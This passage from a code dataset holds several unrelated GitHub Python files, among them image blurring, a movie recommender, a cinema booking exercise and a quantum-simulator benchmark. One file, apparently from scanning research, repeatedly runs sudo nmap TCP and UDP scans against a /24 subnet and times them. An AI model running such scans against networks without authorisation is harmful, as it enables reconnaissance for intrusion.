representation\n\n # 3\n cartesian_coord = ivy.random_uniform(low=0.0, high=1.0, shape=(3,))\n\n # 3\n polar_coord = ivy_mech.cartesian_to_polar_coords(cartesian_coord)\n\n # 3\n ivy_mech.polar_to_cartesian_coords(polar_coord)\n\n # cartesian co-ordinate frame-of-reference transformations\n\n # 3 x 4\n trans_mat = ivy.random_uniform(low=0.0, high=1.0, shape=(3, 4))\n\n # 4\n ivy_mech.make_coordinates_homogeneous(cartesian_coord)\n\n # 4 x 4\n ivy_mech.make_transformation_homogeneous(trans_mat)\n\n # message\n print(\"End of Run Through Demo!\")\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--backend\",\n type=str,\n default=None,\n help=\"which backend to use. Chooses a random backend if unspecified.\",\n )\n parsed_args = parser.parse_args()\n fw = parsed_args.backend()\n main(fw)\n","repo_name":"unifyai/mech","sub_path":"ivy_mech_demos/run_through.py","file_name":"run_through.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"67"} +{"seq_id":"33632262068","text":"import cv2\nimport numpy\n\nimg = cv2.imread('test.jpg', 1)\n\n# blur1 = cv2.blur(img, (3, 3))\n\n# dst = median = cv2.medianBlur(img,5) \n# blur2 = numpy.hstack((img, dst))\n\ndst = cv2.GaussianBlur(img, (5, 5), cv2.BORDER_DEFAULT) \nblur3=numpy.hstack((img, dst))\n\ncv2.imshow(\"blur\", blur3)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"akashian4/python_example","sub_path":"openCv/6-blur.py","file_name":"6-blur.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3574713104","text":"import sys\n\nN = int(sys.stdin.readline())\nboard = [[0 for _ in range(N)] for _ in range(N)]\n\napple_num = int(sys.stdin.readline())\nfor _ in range(apple_num):\n x, y = map(int, sys.stdin.readline().split())\n board[x-1][y-1] = 1\n\ndirection_num = int(sys.stdin.readline())\ndirection = []\nbefore_time = 0\nfor _ in range(direction_num):\n time, dir = sys.stdin.readline().split()\n direction.append([int(time) - before_time, dir])\n before_time = int(time)\ndirection.append([N, 'D'])\n# print(direction)\n\nsnake_location = [[0, 0]]\ndxdy = [[0, 1], [1, 0], [0, -1], [-1, 0]]\ndxdy_idx = 0\ndir_idx = 0\ntime = 0\nnow_x, now_y = 0, 0\n\nwhile True:\n # print(snake_location)\n time += 1\n if direction[dir_idx][0] > 0:\n # print(dxdy_idx)\n next_x, next_y = now_x + dxdy[dxdy_idx][0], now_y + dxdy[dxdy_idx][1]\n # print(f\"Moving {now_x, now_y} => {next_x, next_y}\")\n direction[dir_idx][0] -= 1\n if direction[dir_idx][0] == 0:\n # print(f\"Turning to\", \"Right\" if direction[dir_idx][1] == 'D' else \"Left\")\n dxdy_idx = dxdy_idx + 1 if direction[dir_idx][1] == 'D' else dxdy_idx - 1\n dir_idx += 1\n if dxdy_idx >= 4:\n dxdy_idx = dxdy_idx % 4\n if dxdy_idx < -4:\n dxdy_idx = -((-dxdy_idx) % 4)\n\n else:\n break\n\n if 0<=next_x nlugares:\r\n print(\"o lugar\", lugar, \"do cinema\", nomep, \"nao existe\")\r\n check = False\r\n va = False\r\n v = False\r\n else:\r\n if lugar in ocupados:\r\n var = False\r\n if check == True:\r\n if var == True:\r\n print(\"o lugar\", lugar, \"do cinema\", nomep, \"encontra-se disponivel\")\r\n else:\r\n print(\"o lugar\", lugar, \"do cinema\", nomep, \"encontra-se indisponivel\")\r\n va = False\r\n return va\r\n\r\n\r\ndef senta(listap, nomep, lugar):\r\n disp = disponivel(listap, nomep, lugar)\r\n if disp == True:\r\n for i in listap:\r\n nlugares, ocupados, nome = i\r\n if nome == nomep:\r\n ocupados.append(lugar)\r\n ocupados.sort()\r\n print(ocupados)\r\n print(\"\")\r\n else:\r\n for i in listap:\r\n nlugares, ocupados, nome = i\r\n return ocupados\r\n\r\n\r\ndef listardisponibilidades(listap):\r\n for i in listap:\r\n nlugares, ocupados, nome = i\r\n print(nome)\r\n print(nlugares - len(ocupados))\r\n print(\"\")\r\n return\r\n\r\n\r\ndef listarp(listap, nomep):\r\n for i in listap:\r\n nlugares, ocupados, nome = i\r\n if nome == nomep:\r\n print(\"cinema: \", nome)\r\n print(\"numero de lugares: \", nlugares)\r\n print(\"lugares ocupados: \", ocupados)\r\n print(\"\")\r\n return\r\n\r\n\r\ndef libertalugar(listap, nomep, lugar):\r\n disp = disponivel(listap, nomep, lugar)\r\n if disp == False:\r\n for i in listap:\r\n nlugares, ocupados, nome = i\r\n if lugar > nlugares:\r\n print(\"o lugar\", lugar, \"do cinema\", nomep, \"nao existe\")\r\n else:\r\n if nome == nomep:\r\n ocupados.remove(lugar)\r\n print(\"o lugar foi libertado\")\r\n print(ocupados)\r\n print(\"\")\r\n else:\r\n print(\"o lugar ja se encontra livre\")\r\n for i in listap:\r\n nlugares, ocupados, nome = i\r\n return ocupados\r\n\r\n\r\ndef criarcinema(listap, nomep, lugar):\r\n par = (lugar, [], nomep)\r\n listap.append(par)\r\n return listap\r\n\r\n\r\ndef removecinema(listap, nomep):\r\n for i in listap:\r\n nlugares, ocupados, nome = i\r\n if nome == nomep:\r\n if ocupados == []:\r\n listap.remove(i)\r\n return listap\r\n\r\n\r\noc1 = [1, 5, 4, 3, 2]\r\noc2 = [1, 6, 4, 2, 10, 7]\r\noc3 = [4, 2]\r\noc4 = [15, 16, 18, 20, 3, 5, 6]\r\np1 = (8, oc1, \"CINEMATH1\")\r\np2 = (10, oc2, \"CINEMATH2\")\r\np3 = (5, oc3, \"CINEMATH3\")\r\np4 = (20, oc4, \"CINEMATH4\")\r\npt = parques\r\n\r\nescolha = 20\r\n\r\nwhile escolha != 0:\r\n escolha = int(input(\"\"\"\r\n\t(1) Listar cinemas\r\n\t(2) Disponibilidade\r\n\t(3) Sentar\r\n\t(4) Listar disponibilidades\r\n\t(5) Listar um cinema\r\n\t(6) Libertar lugar\r\n\t(7) Criar cinema\r\n\t(8) Remover cinema\r\n\t\"\"\"))\r\n print(\"\")\r\n\r\n if escolha == 1:\r\n listar(pt)\r\n if escolha == 2:\r\n nome = input(\"nome do cinema \")\r\n lugar = int(input(\"lugar: \"))\r\n disponivel(pt, nome, lugar)\r\n if escolha == 3:\r\n nome = input(\"nome do cinema \")\r\n lugar = int(input(\"lugar: \"))\r\n senta(pt, nome, lugar)\r\n if escolha == 4:\r\n listardisponibilidades(pt)\r\n if escolha == 5:\r\n nome = input(\"nome do cinema \")\r\n listarp(pt, nome)\r\n if escolha == 6:\r\n nome = input(\"nome do cinema: \")\r\n lugar = int(input(\"lugar: \"))\r\n libertalugar(pt, nome, lugar)\r\n if escolha == 7:\r\n nome = input(\"nome do cinema: \")\r\n lugar = int(input(\"capacidade: \"))\r\n criarcinema(pt, nome, lugar)\r\n if escolha == 8:\r\n nome = input(\"nome do cinema: \")\r\n removecinema(pt, nome)\r\n\r\nprint(\"Programa terminado\")\r\n\r\nfile = open(\"cinema.txt\", \"w\")\r\nfor p in pt:\r\n nlugares, ocupados, nome = p\r\n nlugares = str(nlugares)\r\n ocupados = str(ocupados)\r\n soma = \"\"\r\n soma = soma + \";\" + nlugares + \";\" + ocupados + \";\" + nome + \";\" + \"\\n\"\r\n file.write(soma)\r\nfile.close()\r\n","repo_name":"a101479/ATP2022","sub_path":"TPC4/cinema.py","file_name":"cinema.py","file_ext":"py","file_size_in_byte":4904,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20743987798","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[46]:\n\n\nimport numpy as np\nimport pandas as pd\n\n\n# In[47]:\n\n\nmovies = pd.read_csv('tmdb_5000_movies.csv')\ncredits = pd.read_csv('tmdb_5000_credits.csv')\n\n\n# In[48]:\n\n\nmovies.head(1)\n\n\n# In[49]:\n\n\ncredits.head(1)\n\n\n# In[50]:\n\n\ncredits.head(1)['crew'].values\n\n\n# In[51]:\n\n\ncredits.head(1)['cast'].values\n\n\n# In[52]:\n\n\nmovies = movies.merge(credits, on = 'title')\n\n\n# In[53]:\n\n\nmovies.head(1)\n\n\n# In[54]:\n\n\n# now removing collumn which is not useful for recommendation\n# preparing the list of useful collumns\n\n\n# In[55]:\n\n\n# genres\n# id\n# keywords\n# title\n# overview\n# cast\n# crew\nmovies = movies[['movie_id','title','overview','genres','keywords','cast','crew']]\n\n\n# In[56]:\n\n\nmovies.info()\n\n\n# In[57]:\n\n\nmovies.head()\n\n\n# In[58]:\n\n\nmovies.isnull().sum()\n\n\n# In[59]:\n\n\nmovies.dropna(inplace=True)\n\n\n# In[60]:\n\n\nmovies.duplicated().sum()\n\n\n# In[61]:\n\n\n# Formatting\n\n\n# In[62]:\n\n\nmovies.iloc[0].genres\n\n\n# In[63]:\n\n\n# '[{\"id\": 28, \"name\": \"Action\"}, {\"id\": 12, \"name\": \"Adventure\"}, {\"id\": 14, \"name\": \"Fantasy\"}, {\"id\": 878, \"name\": \"Science Fiction\"}]'\n# in this format\n\n# ['Action','Adventure','Fantasy','SciFi']\n\n\n# In[64]:\n\n\ndef convert(obj):\n L = []\n for i in obj:\n L.append(i['name'])\n return L\n\n\n# In[65]:\n\n\nconvert('[{\"id\": 28, \"name\": \"Action\"}, {\"id\": 12, \"name\": \"Adventure\"}, {\"id\": 14, \"name\": \"Fantasy\"}, {\"id\": 878, \"name\": \"Science Fiction\"}]')\n\n\n# In[ ]:\n\n\n# first we have to convert string of list to list\n\n\n# In[66]:\n\n\nimport ast\nast.literal_eval('[{\"id\": 28, \"name\": \"Action\"}, {\"id\": 12, \"name\": \"Adventure\"}, {\"id\": 14, \"name\": \"Fantasy\"}, {\"id\": 878, \"name\": \"Science Fiction\"}]')\n\n\n# In[67]:\n\n\ndef convert(obj):\n L = []\n for i in ast.literal_eval(obj):\n L.append(i['name'])\n return L\n\n\n# In[69]:\n\n\nmovies['genres'] = movies['genres'].apply(convert)\n\n\n# movies.head()\n\n# In[70]:\n\n\nmovies.head()\n\n\n# In[71]:\n\n\n# now do same on keywords\n\n\n# In[73]:\n\n\nmovies['keywords'] = movies['keywords'].apply(convert)\n\n\n# In[74]:\n\n\nmovies.head()\n\n\n# In[76]:\n\n\n# now formate the cast collumn\nmovies['cast'][0]\n# This is for first movie avatar now we only want first three name \n\n\n# In[77]:\n\n\ndef convert3(obj):\n L = []\n counter = 0\n for i in ast.literal_eval(obj):\n if counter != 3:\n L.append(i['name'])\n counter+=1\n else:\n break\n return L\n\n\n# In[79]:\n\n\nmovies['cast'] = movies['cast'].apply(convert3)\n\n\n# In[80]:\n\n\nmovies.head()\n\n\n# In[83]:\n\n\n# now move on to crew\nmovies['crew'][0]\n# in this i only need where job = 'Director'\n\n\n# In[84]:\n\n\ndef fetch_director(obj):\n L = []\n counter = 0\n for i in ast.literal_eval(obj):\n if i['job'] == 'Director':\n L.append(i['name'])\n break\n return L\n\n\n# In[86]:\n\n\nmovies['crew'] = movies['crew'].apply(fetch_director)\n\n\n# In[88]:\n\n\nmovies.head()\n# convert to what we want\n\n\n# In[90]:\n\n\nmovies['overview'][0]\n# now we also want to convert it into list\n\n\n# In[92]:\n\n\nmovies['overview'] = movies['overview'].apply(lambda x:x.split())\n\n\n# In[94]:\n\n\nmovies.head()\n# Now all comlumns are in list\n\n\n# In[97]:\n\n\nmovies.iloc[0]\n\n\n# In[98]:\n\n\n# now i have to remove all the space between word for machine to understant nicly\n\n\n# In[101]:\n\n\n# 'Sam Worthington' to 'SamWorthington' and so on\n# for less confusion between names for recommender\n\n\n# In[103]:\n\n\nmovies['genres'] = movies['genres'].apply(lambda x : [i.replace(\" \",\"\") for i in x])\nmovies['keywords'] = movies['keywords'].apply(lambda x : [i.replace(\" \",\"\") for i in x])\nmovies['cast'] = movies['cast'].apply(lambda x : [i.replace(\" \",\"\") for i in x])\nmovies['crew'] = movies['crew'].apply(lambda x : [i.replace(\" \",\"\") for i in x])\n\n\n# In[104]:\n\n\nmovies.head()\n\n\n# In[105]:\n\n\n# now make new columns with name of 'Tags'\n# and it is concatination of last 4 columns\n\n\n# In[106]:\n\n\nmovies['tags'] = movies['overview'] + movies['genres'] + movies['keywords'] + movies['cast'] + movies['crew']\n\n\n# In[107]:\n\n\nmovies.head()\n\n\n# In[108]:\n\n\nnew_df = movies[['movie_id', 'title', 'tags']]\n\n\n# In[109]:\n\n\nnew_df\n\n\n# In[111]:\n\n\n# now converting list of tags into string\nnew_df['tags'] = new_df['tags'].apply(lambda x : \" \".join(x))\n\n\n# In[112]:\n\n\nnew_df.head()\n\n\n# In[113]:\n\n\nnew_df['tags'][0]\n\n\n# In[114]:\n\n\n# now conver it to lowercase\n\n\n# In[116]:\n\n\nnew_df['tags'] = new_df['tags'].apply(lambda x : x.lower())\n\n\n# In[118]:\n\n\nnew_df.head()\n\n\n# ### Now do an vactorisation\n# \n\n# In[143]:\n\n\n# Vectorization\nfrom sklearn.feature_extraction.text import CountVectorizer\ncv = CountVectorizer(max_features=5000, stop_words='english')\n\n\n# In[144]:\n\n\ncv.fit_transform(new_df['tags']).toarray()\n\n\n# In[145]:\n\n\nvectors = cv.fit_transform(new_df['tags']).toarray()\n\n\n# In[146]:\n\n\nvectors\n\n\n# In[147]:\n\n\n# movies in vextor \nvectors[0]\n\n\n# In[148]:\n\n\ncv.get_feature_names()\n\n\n# In[129]:\n\n\n# now we don't wnat it different like actor and actors and also for other words also\n# Remove this\n\n\n# In[130]:\n\n\n# now apply stamming for this grammar differntiate\n\n\n# In[131]:\n\n\nimport nltk\n\n\n# In[132]:\n\n\nfrom nltk.stem.porter import PorterStemmer\nps = PorterStemmer()\n\n\n# In[137]:\n\n\ndef stem(text):\n y = []\n \n for i in text.split():\n y.append(ps.stem(i))\n return \" \".join(y)\n\n\n# In[136]:\n\n\nps.stem('dancing')\n\n\n# In[142]:\n\n\nnew_df['tags'] = new_df['tags'].apply(stem)\n\n\n# In[140]:\n\n\nstem('In the 22nd century, a paraplegic Marine is dispatched to the moon Pandora on a unique mission, but becomes torn between following orders and protecting an alien civilization. Action Adventure Fantasy ScienceFiction cultureclash future spacewar spacecolony society spacetravel futuristic romance space alien tribe alienplanet cgi marine soldier battle loveaffair antiwar powerrelations mindandsoul 3d SamWorthington ZoeSaldana SigourneyWeaver JamesCameron')\n\n\n# In[149]:\n\n\nfrom sklearn.metrics.pairwise import cosine_similarity\n\n\n# In[153]:\n\n\nsimilarity = cosine_similarity(vectors)\n\n\n# In[154]:\n\n\nsimilarity.shape\n\n\n# In[155]:\n\n\nsimilarity[0]\n\n\n# In[ ]:\n\n\ndef recommend(movie):\n return\n\n\n# In[158]:\n\n\nnew_df[new_df['title'] == 'Avatar'].index[0]\n\n\n# In[160]:\n\n\nnew_df[new_df['title'] == 'Batman Begins'].index[0]\n\n\n# In[163]:\n\n\nsorted(similarity[0], reverse = True)\n\n\n# In[165]:\n\n\nsorted(list(enumerate(similarity[0])), reverse = True)\n\n\n# In[166]:\n\n\nsorted(list(enumerate(similarity[0])), reverse = True, key=lambda x:x[1])\n\n\n# In[167]:\n\n\n# now fetch first 5 of them\nsorted(list(enumerate(similarity[0])), reverse = True, key=lambda x:x[1])[1:6]\n\n\n# In[173]:\n\n\ndef recommend(movie):\n movie_index = new_df[new_df['title'] == movie].index[0]\n distances = similarity[movie_index]\n movies_list = sorted(list(enumerate(distances)), reverse = True, key=lambda x:x[1])[1:6]\n \n for i in movies_list:\n print(new_df.iloc[i[0]].title)\n\n\n# In[174]:\n\n\nrecommend('Avatar')\n\n\n# In[172]:\n\n\nnew_df.iloc[1216].title\n\n\n# In[182]:\n\n\nrecommend('Shutter Island')\n\n\n# In[183]:\n\n\nimport pickle\n\n\n# In[184]:\n\n\npickle.dump(new_df, open('movies.pkl','wb'))\n\n\n# In[191]:\n\n\nnew_df['title'].values\n\n\n# In[192]:\n\n\nnew_df.to_dict()\n\n\n# In[194]:\n\n\npickle.dump(new_df.to_dict(), open('movies_dict.pkl','wb'))\n\n\n# In[195]:\n\n\npickle.dump(similarity,open('similarity.pkl', 'wb'))\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"monill1/Movie_recommender_systems","sub_path":"Movie-recommender-system.py","file_name":"Movie-recommender-system.py","file_ext":"py","file_size_in_byte":7229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72998550294","text":"# %%\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom plotting import plotParams, framesToseconds\nfrom globals import path_data, path_figures, colour_blue\nfrom local_functions import shu_temp\n\nplotParams()\n\nlwD = 7\nwidthtick = 10\nlenD = 20\ns_bub = 150\n\n# %%\npath_data_examples = path_data + \"/examples/scenario3_examples\"\ndata = {}\nname_files = [f\"example{i}\" for i in range(1, 6)]\n\nfor name_file in name_files:\n data[name_file] = {}\n data[name_file]['data'] = shu_temp(f\"{path_data_examples}/{name_file}\")\n data[name_file]['data'].getPara()\n\n data[name_file]['traces_start_end'] = []\n data[name_file]['traces'] = []\n data[name_file]['shifted_traces'] = []\n\n # plot each iteration in a different plot\n fig, ax = plt.subplots(1, 1, figsize=(20, 10))\n ax.plot(np.arange(len(data[name_file]['data'].means)), data[name_file]['data'].means)\n\n# %%\n\ndata['example1']['traces_start_end'] = [(94, 128)]\ndata['example2']['traces_start_end'] = [(98, 132)]\ndata['example3']['traces_start_end'] = [(169, 203)]\ndata['example4']['traces_start_end'] = []\ndata['example5']['traces_start_end'] = [(72, 106), (150, 184)]\n\nfor example in name_files:\n data[example]['traces'] = []\n for start_end in data[example]['traces_start_end']:\n start = start_end[0] - 4\n end = start_end[1] + 5\n fig, ax = plt.subplots(1, 1, figsize=(20, 10))\n ax.plot(data[example]['data'].means[start:end], lw=lwD)\n \n # ax.axvspan(start, start_end[1], alpha=0.5, color='red')\n # vertical lines\n ax.axvline(9, color='k', linestyle='--')\n ax.axvline(11, color='k', linestyle='--')\n print(end - start)\n data[example]['traces'].append(data[example]['data'].means[start:end])\n\n data[example]['traces'] = np.array(data[example]['traces'])\n\n\n# %% plot them all together\nall_traces = []\nfor example in name_files:\n temp_traces = data[example]['traces']\n if len(temp_traces) > 0:\n all_traces.append(temp_traces)\n\nall_traces = np.concatenate(all_traces)\n\nall_shifted_traces = []\n\nmean_traces = np.mean(all_traces[:, 0:3])\ndiff_traces = np.mean(mean_traces - all_traces[:, 0:3], axis = 1)\nfor index, trace in enumerate(all_traces):\n all_shifted_traces.append((trace + diff_traces[index]))\n\nall_shifted_traces = np.array(all_shifted_traces)\n# plot all traces\nfig, ax = plt.subplots(1, 1, figsize=(17, 10))\nax.plot(all_shifted_traces.T, color = colour_blue, lw=4, alpha = 0.6)\n# plot mean\nax.plot(np.mean(all_shifted_traces, axis = 0), color = colour_blue, lw=lwD * 1.2,)\n\nax.set_yticks(np.arange(24, 34.01, 2))\n\nframesToseconds(ax, 0.5, all_shifted_traces[0, :], float)\nax.set_xlim([0, len(all_shifted_traces[0, :])])\nax.set_ylim([25, 34])\nax.set_yticks(np.arange(24, 34.01, 2))\n\nfill_shade = np.zeros(len(all_shifted_traces[0, :]))\nfill_shade[9:34] = 34\n\nax.fill_between(np.arange(len(all_shifted_traces[0, :])), fill_shade, y2=0, color=\"k\", alpha=0.25)\n\n# Make-ups\nax.spines[\"top\"].set_visible(False)\nax.spines[\"right\"].set_visible(False)\n\nax.yaxis.set_tick_params(width=lwD, length=lenD)\nax.xaxis.set_tick_params(width=lwD, length=lenD)\n\nax.tick_params(axis=\"y\", which=\"major\", pad=10)\nax.tick_params(axis=\"x\", which=\"major\", pad=10)\n\nax.spines[\"left\"].set_linewidth(lwD)\nax.spines[\"bottom\"].set_linewidth(lwD)\n\nax.set_ylabel(\"Temperature ($^\\circ$C)\", labelpad=20)\nax.set_xlabel(\"Time (s)\", labelpad=20)\n\nax.tick_params(axis=\"y\", which=\"major\", pad=10, color='grey')\nax.tick_params(axis=\"x\", which=\"major\", pad=10, color='grey')\n\nfor spine in ax.spines.values():\n spine.set_edgecolor('grey')\n\nplt.tight_layout()\nplt.savefig(f'{path_figures}/figure1/panelD_scenario3.png', transparent = True)\n\n\n# %% plot all slopes\nall_slopes_diff = []\nall_slopes_degrees_diff = []\nstart = 9\nend = start + 2\nfor trace in all_shifted_traces:\n all_slopes_diff.append(np.mean(np.diff(trace[start:end])))\n temp_degrees_change = (trace[end] - trace[start]) / ((end-start)/10)\n all_slopes_degrees_diff.append(temp_degrees_change)\n \nprint(all_slopes_degrees_diff)\n\nprint('mean: ', abs(round(np.mean(all_slopes_degrees_diff))))\nprint('sd: ', round(np.std(all_slopes_degrees_diff)))\n\n\n\n # %%\n","repo_name":"iezqrom/publication-cold-sensation-without-touch","sub_path":"code/analysis-plotting/figure1D_scenario3.py","file_name":"figure1D_scenario3.py","file_ext":"py","file_size_in_byte":4166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23412314539","text":"import torch\nfrom torch.nn import Module\nfrom gtd.ml.torch.utils import GPUVariable\n\nfrom collections import namedtuple\n\nimport torch\nfrom torch.nn import LSTMCell, Module, Linear\n\nfrom editor_code.copy_editor.vocab import base_plus_copy_indices\nfrom gtd.ml.torch.seq_batch import SequenceBatch\nfrom gtd.ml.torch.source_encoder import MultiLayerSourceEncoder\nfrom gtd.ml.torch.utils import NamedTupleLike\nfrom gtd.ml.torch.utils import GPUVariable\nimport numpy as np\n\nfrom editor_code.copy_editor.encoder import EncoderInput, EncoderOutput, VMFVAEWrapper, AgendaMaker\n\nclass TargetVAEEncoder(Module):\n def __init__(self, word_dim, agenda_dim, hidden_dim, num_layers, num_inputs):\n \"\"\"Construct Encoder.\n\n Args:\n word_dim (int)\n agenda_dim (int)\n hidden_dim (int)\n num_layers (int)\n num_inputs (int)\n \"\"\"\n super(TargetVAEEncoder, self).__init__()\n\n self.agenda_dim = agenda_dim\n self.target_encoder = MultiLayerSourceEncoder(2 * word_dim, hidden_dim, num_layers, dropout_prob=0.0,\n rnn_cell_factory=LSTMCell)\n self.agenda_maker = AgendaMaker(self.target_encoder.hidden_dim * num_inputs, self.agenda_dim)\n self.output_agenda_maker = AgendaMaker(self.target_encoder.hidden_dim, self.agenda_dim)\n self.vae_wrap = VMFVAEWrapper(500)\n\n def preprocess(self, input_batches, output_seqs, token_embedder, volatile=False):\n \"\"\"Preprocess.\n\n Args:\n input_batches (list[list[list[unicode]]]): a batch of input sequence lists\n Each sequence list has one sequence per \"input channel\"\n output_seqs (list[list[unicode]]): a batch of output sequences (targets)\n token_embedder (DynamicMultiVocabTokenEmbedder)\n volatile (bool): whether to make Variables volatile (don't track gradients)\n\n Returns:\n EncoderInput\n \"\"\"\n dynamic_vocabs = token_embedder.dynamic_vocabs\n base_vocab = token_embedder.base_vocab\n indices_list = []\n for channel_seqs in zip(*input_batches):\n # channel_seqs is a batch of sequences, where all the sequences come from one \"input channel\"\n multi_vocab_indices = base_plus_copy_indices(list(channel_seqs), dynamic_vocabs, base_vocab,\n volatile=volatile)\n indices_list.append(multi_vocab_indices)\n\n output_indices = base_plus_copy_indices(output_seqs, dynamic_vocabs, base_vocab, volatile=volatile)\n return EncoderInput(indices_list, output_indices, token_embedder)\n\n def make_embedding(self, encoder_input, words_list, encoder):\n \"\"\"Encoder for a single `channel'\n \"\"\"\n channel_word_embeds = encoder_input.token_embedder.embed_seq_batch(words_list)\n encoder_output = encoder(channel_word_embeds.split())\n\n channel_embeds_list = encoder_output.combined_states\n channel_embeds = SequenceBatch.cat(channel_embeds_list)\n\n # the final hidden states in both the forward and backward direction, concatenated\n channel_embeds_final = torch.cat(encoder_output.final_states, 1) # (batch_size, hidden_dim)\n return channel_embeds, channel_embeds_final\n\n def ctx_code_out(self, encoder_input):\n all_channel_embeds = []\n all_channel_embeds_final = []\n\n for channel_words in encoder_input.input_words:\n channel_embeds, channel_embeds_final = self.make_embedding(encoder_input, channel_words,\n self.target_encoder)\n all_channel_embeds.append(channel_embeds)\n all_channel_embeds_final.append(channel_embeds_final)\n\n input_embeds_final = torch.cat(all_channel_embeds_final, 1) # (batch_size, hidden_dim * num_channels)\n context_agenda = self.agenda_maker(input_embeds_final)\n return context_agenda, all_channel_embeds\n\n def target_out(self, encoder_input):\n output_embeds, output_embeds_final = self.make_embedding(encoder_input, encoder_input.output_words,\n self.target_encoder)\n\n return self.output_agenda_maker(output_embeds_final)\n\n def forward(self, encoder_input):\n \"\"\"Encode.\n\n Args:\n encoder_input (EncoderInput)\n\n Returns:\n EncoderOutput, cost (0 in this case)\n \"\"\"\n context_agenda, all_channel_embeds = self.ctx_code_out(encoder_input)\n target_agenda = self.target_out(encoder_input)\n vae_agenda, vae_loss = self.vae_wrap(context_agenda, True)\n\n return EncoderOutput(all_channel_embeds, vae_agenda, encoder_input.token_embedder), vae_loss\n\n\n","repo_name":"lvyiwei1/StylePTB","sub_path":"Model Codes/RetrieveEdit/editor_code/copy_editor/vae_encoder.py","file_name":"vae_encoder.py","file_ext":"py","file_size_in_byte":4819,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"67"} +{"seq_id":"70726916373","text":"import os\nimport timeit\nimport datetime\n\nr = '192.168.3.0/24'\nfor i in range(1,101):\n start = timeit.default_timer()\n # Adjusted to UDP SCAN\n os.system(\"sudo nmap -sT -sU {} -oN nmap_udp_logging/nmap_icmp_blocked_run_{}\".format(r,i))\n stop = timeit.default_timer()\n total_time = stop - start\n net_class = \"C\"\n # output running time in a nice format.\n mins, secs = divmod(total_time, 60)\n hours, mins = divmod(mins, 60)\n time_csv = \"%d:%d:%d.\\n\" %(hours, mins, secs)\n dt = datetime.datetime.now().strftime('%Y-%m-%d-%H%M')\n time_log = \"{},{},{},{}\".format(dt,r,net_class,time_csv)\n with open(\"nmap_udp_logging/nmap_only_class_C_ICMP_BLOCKED_time.csv\",\"a+\") as f:\n print(\"[*]Writing To Time Log[*]\")\n f.write(time_log)\n print(\"[*]Time Log Updated[*]\")","repo_name":"jsmit260/Binderscan","sub_path":"scripts/scanner/nmap-alone.py","file_name":"nmap-alone.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11472310927","text":"import argparse\nimport sys\nimport timeit\n\nimport numpy as np\n\nfrom cirq import Circuit, InsertStrategy\nfrom cirq.google import ExpWGate, ExpZGate, Exp11Gate, XmonOptions, \\\n XmonSimulator\n\n\n_XMON = 'xmon'\n_UNITARY = 'unitary'\n\n\ndef simulate(\n sim_type: str,\n num_qubits: int,\n num_gates: int,\n num_prefix_qubits: int = 0,\n use_processes: bool = False) -> None:\n \"\"\"\"Runs the simulator.\"\"\"\n circuit = Circuit()\n for _ in range(num_gates):\n which = np.random.choice(['expz', 'expw', 'exp11'])\n if which == 'expw':\n circuit.append(ExpWGate(axis_half_turns=np.random.random(),\n half_turns=np.random.random()).on(\n np.random.randint(num_qubits)),\n strategy=InsertStrategy.EARLIEST)\n elif which == 'expz':\n circuit.append(ExpZGate(half_turns=np.random.random()).on(\n np.random.randint(num_qubits)),\n strategy=InsertStrategy.EARLIEST)\n elif which == 'exp11':\n q1, q2 = np.random.choice(num_qubits, 2, replace=False)\n circuit.append(Exp11Gate(half_turns=np.random.random()).on(q1, q2),\n strategy=InsertStrategy.EARLIEST)\n\n if sim_type == _XMON:\n XmonSimulator(XmonOptions(num_shards=2 ** num_prefix_qubits,\n use_processes=use_processes)).run(circuit)\n elif sim_type == _UNITARY:\n circuit.apply_unitary_effect_to_state(initial_state=0)\n\n\ndef main(\n sim_type: str,\n min_num_qubits: int,\n max_num_qubits: int,\n num_gates: int,\n num_prefix_qubits: int,\n use_processes: bool,\n num_repetitions: int,\n setup: str= 'from __main__ import simulate'):\n print('num_qubits,seconds per gate')\n for num_qubits in range(min_num_qubits, max_num_qubits + 1):\n command = 'simulate(\\'{}\\', {}, {}, {}, {})'.format(sim_type,\n num_qubits,\n num_gates,\n num_prefix_qubits,\n use_processes)\n time = timeit.timeit(command, setup, number=num_repetitions)\n print('{},{}'.format(num_qubits, time / (num_repetitions * num_gates)))\n\n\n\ndef parse_arguments(args):\n parser = argparse.ArgumentParser('Benchmark a simulator.')\n parser.add_argument('--sim_type', choices=[_XMON, _UNITARY], default=_XMON,\n help='Which simulator to benchmark.', type=str)\n parser.add_argument('--min_num_qubits', default=4, type=int,\n help='Minimum number of qubits to benchmark.')\n parser.add_argument('--max_num_qubits', default=26, type=int,\n help='Maximum number of qubits to benchmark.')\n parser.add_argument('--num_gates', default=100, type=int,\n help='Number of gates in a single run.')\n parser.add_argument('--num_repetitions', default=10, type=int,\n help='Number of times to repeat a simulation')\n parser.add_argument('--num_prefix_qubits', default=2, type=int,\n help='Used for sharded simulators, the number of '\n 'shards is 2 raised to this number.')\n parser.add_argument('--use_processes', default=False,\n action='store_true',\n help='Whether or not to use multiprocessing '\n '(otherwise uses threads).')\n return vars(parser.parse_args(args))\n\n\nif __name__ == '__main__':\n main(**parse_arguments(sys.argv[1:]))\n","repo_name":"epiqc/qutrits","sub_path":"dev_tools/profiling/benchmark_simulators.py","file_name":"benchmark_simulators.py","file_ext":"py","file_size_in_byte":3688,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"67"} +{"seq_id":"4093065343","text":"import sys\n\ninf = 2 ** 30\n\ndef solution(a):\n n = len(a)\n foo = n * n\n good = [False for i in range(n)]\n for i in range(n):\n prev = inf\n for v in a[i]:\n if v < prev:\n prev = v\n 